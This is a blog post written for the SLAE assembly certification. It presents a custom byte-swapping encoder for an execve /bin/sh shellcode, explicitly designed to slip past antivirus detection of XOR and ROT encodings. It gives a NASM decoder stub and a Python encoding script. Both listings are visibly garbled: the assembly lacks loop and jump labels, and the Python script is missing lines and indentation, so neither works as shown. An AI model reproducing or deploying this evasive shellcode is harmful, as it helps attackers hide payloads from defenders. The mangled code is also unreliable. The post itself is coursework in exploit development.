Back to Posts

Share this post

SLAE – Assignment #4: Custom shellcode encoder

Posted by: voidsec

Reading Time: 3 minutes

Assignment #4: Custom Shellcode Encoder

As the 4th SLAE’s assignment I was required to build a custom shellcode encoder for the execve payload, which I did, here how.

Encoder Implementations

I’ve decided to not relay on XORing functionalities as most antivirus solutions are now well aware of this encoding schema, the same reason for which I’ve skipped ROT13 and other “rotating” encoding. I thought of using some multiple weird shifting schema but that would have had a negative impact on decoder’s routine and global shellcode size.

At the end I’ve opted for a simpler byte swapping technique:

  1. Shellcode’s length is calculated
  2. On shellcode’s length is then applied MOD 2 operation in order to understand if its size is odd or even
  3. In case shellcode’s size is an odd number, a NOP operation (\x90) is added at the end of it, padding its size to an even number
  4. Now every byte of the shellcode is swapped with its subsequent one. That’s why we need to pad it if its size is an odd number, otherwise latest byte would miss something to swap with.

Analyzing the Decoder Routine

As always, all the code is also available on GitHub.

; Paolo Stagno aka [VoidSec](
; SLAE-1511

global _start

section .text
  jmp short shellcode_section		; goto shellcode_section

decoder:				; decoder's main
  pop esi				; load address of our encoded shellcode (encoded_shellcode) into ESI (JMP CALL POP trick)
  mul ecx				; trick to clear eax and exc
  mov cl, 10				; loop half the times of our shellcode length as we are swapping two bytes at time (eg. shellcode length is 20)

  mov  al, byte [esi]			; load encoded_shellcode's byte pointed by ESI in al 	| [A][B] al=A
  xchg byte [esi+1], al			; swap al value with next byte value (ESI+1) 		| [A][A] al=B
  mov [esi], al				; load swapped byte in al to location pointed by ESI	| [B][A]
        add esi, 2			; select next byte "couple"				
        loop decode_loop		; cl is 0? No, we go back at decode_loop and execute the cicle again
        jmp short encoded_shellcode	; cl is 0, we've decoded all our shellcode and we can now directly jump into it

        call decoder			; goto decoder's main, putting encoded_shellcode on the stack
        encoded_shellcode: db 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80

I’ve then built a helper python script that takes care of padding and swapping shellcode’s byte, generating the resulting payload.

# Paolo Stagno aka [VoidSec](
# SLAE-1511
#!/usr/bin/env python
import binascii
execve_shellcode = bytearray(b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xb0\x0b\xcd\x80")
if (len(execve_shellcode)%2)!=0:
#must be padded at an even number
execve_shellcode = bytearray(execve_shellcode)
print("[>] Shellcode Length: {}".format(shellcode_len))
for i in execve_shellcode:
while x<shellcode_len:
print("[>] Original shellcode:\n--------------------------")
print("\n[>] Encoded Shellcode:\n--------------------------")
swapped="0x"+"0x".join(a+b for a,b in zip(swapped[::2], swapped[1::2]))
swapped=", ".join(swapped[i:i+4] for i in range(0, len(swapped), 4))
print("\n[>] Nasm:\n--------------------------\n{}").format(swapped)

SLAE Exam Statement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1511

Back to Posts